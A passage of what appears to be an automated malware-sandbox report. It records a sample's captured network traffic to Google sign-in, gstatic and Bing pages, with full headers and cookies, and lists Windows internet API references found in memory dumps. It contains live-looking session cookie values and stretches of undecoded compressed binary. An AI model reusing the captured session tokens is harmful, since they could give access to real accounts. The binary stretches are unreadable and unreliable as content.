accounts.google.comContent-Length: 166DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:rl5FpyAJjLqbKi4MYzR1R9BCTC6gXQ:GDX-s_eA0EP90GrC; NID=511=bK-EHtt_ZOVIKrZWQtlAFLVanSl8mcAGRpHiLVAcs6eRAv_5W-IyZv8lQe-IV0hAdPUbzx_TmQErOxdlX9rbr263jwaXctCH4BuChCU_IZWCSDrMtbojHTDwFw0A0lLRMu9fPJdDv5enSbjgnOju2Q1C9fyDQpIL1krk7eghnis"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: www.bing.comDNT: 1Connection: Keep-AliveCookie: SRCHD=AF=IESS4A; SRCHUID=V=2&GUID=DD3EB05AD9C54D24A2443E918EB9AD6D&dmnchg=1; SRCHUSR=DOB=20220131&T=1643622536000; _UR=D=0; SRCHHPGUSR=SRCHLANG=en&BRW=HTP&BRH=S&CW=1024&CH=472&SW=1024&SH=611&DPR=1&UTC=60&DM=3&WTS=63779219336&HV=1643615337"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlFYbR4WKHksKBs_oAI7WSSuL5Xj1A/m=_b,_tp HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/ck=boq-identity.AccountsSignInUi.c16LkJpy0VI.L.I11.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/exm=_b,_tp/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHMW1rKj8r3EVP6xJMBW5deqpPmmQ/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=byfTOb,lsjVmc,LEikZe HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/ck=boq-identity.AccountsSignInUi.c16LkJpy0VI.L.I11.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/exm=LEikZe,_b,_tp,byfTOb,lsjVmc/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHMW1rKj8r3EVP6xJMBW5deqpPmmQ/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=n73qwf,SCuOPb,IZT63,vfuNJf,UUJqVe,ws9Tlc,siKnQd,STuCOe,njlZCf,fJpY1b,b3kMqb,EGw7Od,ZUKRxc,my67ye,t2srLd,EN3i8d,hmHrle,mWLH9d,NOeYWe,O6y8ed,fqEYIb,PrPYRd,MpJwZc,hc6Ubd,KUM7Z,oLggrd,inNHtf,L1AAkb,lwddkf,SpsfSb,tUnxGc,aW3pY,EFQ78c,xQtZb,I6YDgd,zbML3c,zr1jrb,vHEMJe,YHI3We,YTxL4,bSspM,Uas9Hd,zy0vNb,K0PMbc,AvtSve,qmdT9,xBaz7b,eVCnO,LDQI HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/ck=boq-identity.AccountsSignInUi.c16LkJpy0VI.L.I11.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHMW1rKj8r3EVP6xJMBW5deqpPmmQ/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=Wt6vjf,hhhU8,FCpbqb,WhJNk HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/ck=boq-identity.AccountsSignInUi.c16LkJpy0VI.L.I11.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,FCpbqb,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,WhJNk,Wt6vjf,YHI3We,YTxL4,ZUKRxc,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hhhU8,hmHrle,inNHtf,lsjVmc,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHMW1rKj8r3EVP6xJMBW5deqpPmmQ/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=RqjULd HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/ck=boq-identity.AccountsSignInUi.c16LkJpy0VI.L.I11.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,FCpbqb,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,RMhBfe,RqjULd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,WhJNk,Wt6vjf,YHI3We,YTxL4,ZUKRxc,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bSspM,bm51tf,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hhhU8,hmHrle,inNHtf,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHMW1rKj8r3EVP6xJMBW5deqpPmmQ/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=qPfo0c HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.CfshIOFLb3A.es5.O/ck=boq-identity.AccountsSignInUi.c16LkJpy0VI.L.I11.O/am=DoQVkTg2AIL_iybP3zNODgMAAAAAAAAAAKyB7A/d=1/exm=AvtSve,EFQ78c,EGw7Od,EN3i8d,FCpbqb,I6YDgd,IZT63,K0PMbc,KUM7Z,L1AAkb,LDQI,LEikZe,MpJwZc,NOeYWe,O6y8ed,PrPYRd,RMhBfe,RqjULd,SCuOPb,STuCOe,SpsfSb,UUJqVe,Uas9Hd,WhJNk,Wt6vjf,YHI3We,YTxL4,ZUKRxc,ZwDk9d,_b,_tp,aW3pY,b3kMqb,bSspM,byfTOb,eVCnO,fJpY1b,fqEYIb,hc6Ubd,hhhU8,hmHrle,inNHtf,lsjVmc,ltDFwf,lwddkf,mWLH9d,my67ye,n73qwf,njlZCf,oLggrd,qmdT9,siKnQd,t2srLd,tUnxGc,vHEMJe,vfuNJf,ws9Tlc,xBaz7b,xQtZb,zbML3c,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlHMW1rKj8r3EVP6xJMBW5deqpPmmQ/ee=ASJRFf:LANRae;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:BDnJmb;EmZ2Bf:zr1jrb;Erl4fe:FloWmf;JsbNhc:Xd8iUd;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Oj465e:KG2eXe;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;UpnZUd:nnwwYc;XdiAjb:NLiXbe;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;eBAeSb:zbML3c;iFQyKf:vfuNJf;io8t5d:yDVVkb;kMFpHd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:fqEYIb;qddgKe:xQtZb;sP4Vbe:VwDzFe;uY49fb:COQbmf;ul9GGd:VDovNc;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=bm51tf HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.gstatic.comDNT: 1Connection: Keep-Alive"; in File: "SSL")6a:Tc56,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00002140-00000C26-56191986") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00002140-00000C26-56194947") Found reference to API "61752305817,3900,3198,,HttpOpenRequestA,Wininet.dll,"254:39:08.203",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp") Found reference to API "41951849199,3900,3198,,HttpOpenRequestA,Wininet.dll,"253:16:57.093",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00000540.00000001.69995.00420000.00000004.mdmp") Found reference to API "109396570305,3900,3198,,HttpOpenRequestA,Wininet.dll,"257:41:34.484",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00000540.00000002.71914.00420000.00000004.mdmp") Found reference to API "104001783648,3900,3197,,InternetOpenW,Wininet.dll,"257:22:31.515",RX=0,PX=0" (Indicator: "InternetOpen"; Source: "00000000-00000540.00000002.71914.00420000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00000540.00000003.79257.0028C000.00000002.mdmp") Found reference to API "20526353302,908,3204,,InternetReadFile,Wininet.dll,"252:30:27.578",RX=0,PX=0" (Indicator: "InternetReadFile"; Source: "00000000-00001140.00000001.68735.00390000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001884.00000000.67805.002CC000.00000002.mdmp")6b:T8c81,"GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US" "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8Strict-Transport-Security: max-age=31536000; includeSubDomainsSet-Cookie: __Host-GAPS=1:mYjxgzoo5ZwN-JGsuOhAdRQIByLCKQ:hdXdKJOZwmiAL1hf;Path=/;Expires=Wed, 29-Oct-2025 01:33:01 GMT;Secure;HttpOnly;Priority=HIGHX-Frame-Options: DENYContent-Security-Policy: script-src 'nonce-HZ7CTR_twJYP1LeYjtCW9Q' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportLocation: https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding: gzipDate: Mon, 30 Oct 2023 01:33:01 GMTExpires: Mon, 30 Oct 2023 01:33:01 GMTCache-Control: private, max-age=0X-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Transfer-Encoding: chunked" "0000000100000001�0000000100000001000000010000000100000001000000010000000100000001�00000001�00000001P00e1Aj�0��B!=ZN��u��X�K_E�1��ax%�u��~�7Q�8z�IN��#��_�o�d��)��2�Q|&��Ht@ΨfƑNZ��:eJ;�F�ĘTg�l�"��5{�i��f7Jk��6y|H�;��g��f�4��s%˳��À��x��fL�Y�ž�K��P�/��@�R", "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:mYjxgzoo5ZwN-JGsuOhAdRQIByLCKQ:hdXdKJOZwmiAL1hfConnection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 FoundContent-Type: application/binarySet-Cookie: __Host-GAPS=1:raw_doxkoE_Lmcw-xDdMVTUjD7ggag:PLwwqox9G4bg6LO7; Expires=Wed 29-Oct-2025 01:33:02 GMT; Path=/; Secure; HttpOnly; Priority=HIGHCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Mon 30 Oct 2023 01:33:02 GMTLocation: https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxhNR4ukFhRMM_h33BB-kkSnEAVP8jhMmgmOE0cSnsxX4XNivFLMrIiWc4fqjx-rPh3GuZcgQStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Resource-Policy: cross-originContent-Security-Policy: script-src 'nonce-WkBVEm-kIbvRfdzV5Q7IZQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsSigninPassiveLoginHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsSigninPassiveLoginHttp/cspreportCross-Origin-Opener-Policy: unsafe-noneAccept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000", "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxhNR4ukFhRMM_h33BB-kkSnEAVP8jhMmgmOE0cSnsxX4XNivFLMrIiWc4fqjx-rPh3GuZcgQ HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:raw_doxkoE_Lmcw-xDdMVTUjD7ggag:PLwwqox9G4bg6LO7Connection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 302 Moved TemporarilyContent-Type: text/html; charset=UTF-8X-Frame-Options: DENYCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Mon 30 Oct 2023 01:33:02 GMTLocation: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyz_ScPabiSrMqQ1mLblRieA0aKHsKtyaocVW_zvz4VkdyRN0M8iiYRSUgvN7trR5Ru8z1ORfw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1275196978%3A1698629582810228&theme=glifStrict-Transport-Security: max-age=31536000; includeSubDomainsReport-To: {"group":"coop_gse_qebhlk" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]}Content-Security-Policy: script-src 'nonce-YNr5_NPUCReO2FdKreU86g' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreportContent-Security-Policy: require-trusted-types-for 'script';report-uri /cspreportCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk"Content-Encoding: gzipX-Content-Type-Options: nosniffX-XSS-Protection: 1; mode=blockServer: GSEAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyz_ScPabiSrMqQ1mLblRieA0aKHsKtyaocVW_zvz4VkdyRN0M8iiYRSUgvN7trR5Ru8z1ORfw&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1275196978%3A1698629582810228&theme=glif HTTP/1.1Accept: text/html application/xhtml+xml */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:raw_doxkoE_Lmcw-xDdMVTUjD7ggag:PLwwqox9G4bg6LO7Connection: Keep-AliveAccept-Language: en-US", "HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8X-Frame-Options: DENYVary: Sec-Fetch-Dest Sec-Fetch-Mode Sec-Fetch-SiteSet-Cookie: __Host-GAPS=1:mywYrfpwuyXX3838Hl3q1juW03UDjA:xuD75dxwYlxaPX2H; Expires=Wed 29-Oct-2025 01:33:03 GMT; Path=/; Secure; HttpOnly; Priority=HIGHx-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/x-ua-compatible: IE=edgeCache-Control: no-cache no-store max-age=0 must-revalidatePragma: no-cacheExpires: Mon 01 Jan 1990 00:00:00 GMTDate: Mon 30 Oct 2023 01:33:03 GMTStrict-Transport-Security: max-age=31536000; includeSubDomainsCross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi"Permissions-Policy: ch-ua-arch=* ch-ua-bitness=* ch-ua-full-version=* ch-ua-full-version-list=* ch-ua-model=* ch-ua-wow64=* ch-ua-form-factor=* ch-ua-platform=* ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-Z3rdojwt8uBgE2bu-C3Pow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreportCross-Origin-Resource-Policy: same-siteReport-To: {"group":"AccountsSignInUi" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]}Accept-CH: Sec-CH-UA-Arch Sec-CH-UA-Bitness Sec-CH-UA-Full-Version Sec-CH-UA-Full-Version-List Sec-CH-UA-Model Sec-CH-UA-WoW64 Sec-CH-UA-Form-Factor Sec-CH-UA-Platform Sec-CH-UA-Platform-VersionContent-Encoding: gzipServer: ESFX-XSS-Protection: 0X-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000 h3-29=":443"; ma=2592000Transfer-Encoding: chunked", "0000000100000001�0017c�RMo�@��+�=ʇU��(F��ɬ0�F`)_}WlzꡓMvv潗��ULwmi=�4��ܥkښ40.�9)P��V���ف�.޶��Vهy ��.}�]�7]�/5Z�10��QɤN��6�*WU^>s�}RgU9��$�!W�(��J�!��'4�jP;f��9=�i��KH��\��U�v�ף㿣v��NH�Sbc�y�2�U�"�{�㵹>y砵7�Z��`;Q��T�=�k�*l��,q� ��6(u��p'�n��~[FV��@�`,�{+(c��H��D�KcY��H%�E��U1P�*�Z(��7_;��o�:�W", "00000001001�b00��XYwں~ﯠ^�)�C�@ �=��@!$��%۲��K�1i��ݲ8rz�ְ�֧=�O�uOc��ss�ϟ�o�F��H�ݽK9��d�@�M��ϟTD�:��"Y��poi��L�3m\�ȹw��>��[��wC�.��kr�&�yr�d��y�@��~�'��Z�&��j��9�[��A��&��{��Hӵ9��E~;��p�|��&��W��ߤ��h�d��o�Y�4�{Y4��uCT��7��7nɫ��R�xߜ�`~�؁��<�%2x��pkG�N��Z��P�^.+V`R+��d��+əh2��㣎av�^\�"�>S=�p5(O.ή�0��h��j��[̈�� I":��P q0��+U��r}旁��}�}3n��и�E!��,h��ć��?�%>]�{��k�~f��|a}��p�Z��m��4��rdy��{c��\��oq&$��O�AB�B�o`��`�ˇj�-��:�բ�&�8i&Y�[��7��#��=��L%��๧��@�x��c(�:��ǩS��3��cA�=!8�f��2G��f�1�_3��A�E��?�1F��Ĵ�^��,��c��Ғ#&6��[ `.��Gɻi�zMTn��p-�7t��b�ll�� 